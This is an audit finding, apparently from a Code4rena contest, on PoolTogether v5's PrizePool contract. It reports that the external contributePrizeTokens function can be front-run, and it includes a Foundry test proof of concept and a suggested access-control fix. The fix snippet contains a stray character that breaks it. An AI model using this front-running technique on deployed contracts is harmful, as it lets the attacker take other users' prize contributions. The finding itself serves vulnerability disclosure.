code423n4 commented 1 year ago

Lines of code

https://github.com/GenerationSoftware/pt-v5-prize-pool/blob/4bc8a12b857856828c018510b5500d722b79ca3a/src/PrizePool.sol#L308-L330

Vulnerability details

Impact

Prizes could be contributed to an unintended prize pool, potentially damaging unaware users.

An attacker can observe the transaction transferring tokens to this contract and front-run the contributePrizeTokens call, attributing the transferred tokens to themselves. This would allow them to claim the prize for an arbitrary vault address. Even though this function should be called from Vault.sol, it's an external function, so any users could transfer some tokens to the contract and then call the function, but in between the transfer and the function call, a malicious user could front-run the transaction and claim the contribuition for a vault of their choice, impacting all users of the protocol.

Diagram

Proof of Concept

 function testPrizeTokensContributionFrontRun_PoC() public {
    address exploited = makeAddr("exploited");
    address attacker = makeAddr("attacker");
    prizeToken.mint(exploited, 1e18);

    assertEq(prizePool.getContributedBetween(address(attacker), 0, 1000), 0);
    assertEq(prizePool.getContributedBetween(address(exploited), 0, 1000), 0);
    assertEq(prizeToken.balanceOf(address(exploited)), 1e18);
    assertEq(prizeToken.balanceOf(address(attacker)), 0);
    assertEq(prizeToken.balanceOf(address(prizePool)), 0);

    vm.prank(exploited);
    prizeToken.transfer(address(prizePool), 1e18);
    // for clarity purposes, this is considered a front-run
    vm.prank(attacker);
    prizePool.contributePrizeTokens(attacker, 1e18);
    assertEq(prizePool.getContributedBetween(address(attacker), 0, 1000), 1e18);
    assertEq(prizePool.getContributedBetween(address(exploited), 0, 1000), 0);
    assertEq(prizeToken.balanceOf(address(exploited)), 0);
    assertEq(prizeToken.balanceOf(address(attacker)), 0);
    assertEq(prizeToken.balanceOf(address(prizePool)), 1e18);

    vm.prank(exploited);
    vm.expectRevert(abi.encodeWithSelector(ContributionGTDeltaBalance.selector, 1e18, 0));
    prizePool.contributePrizeTokens(exploited, 1e18);

  }

PoC

Tools Used

Foundry's forge test. Whimsical diagrams.

Recommended Mitigation Steps

This function should only be called from Vaults. Add a check to ensure the caller is a Vault and it can only contribute to itself. Call functions that confirm vault interface implementation.

function contributePrizeTokens(address _prizeVault, uint256 _amount) external returns (uint256) {
    require(_prizeVault == msg.sender, "PrizePool::contributePrizeTokens: Only vaults can call this function");
    // call functions that confirm vault interface implementation
    require(Vault(_prizeVault).isVaultCollateralized(), "PrizePool::contributePrizeTokens: Vault is not collateralized");
    require(Vault(_prizeVault).decimals() != 0, "PrizePool::contributePrizeTokens: Vault decimals is zero");s
    // ...
}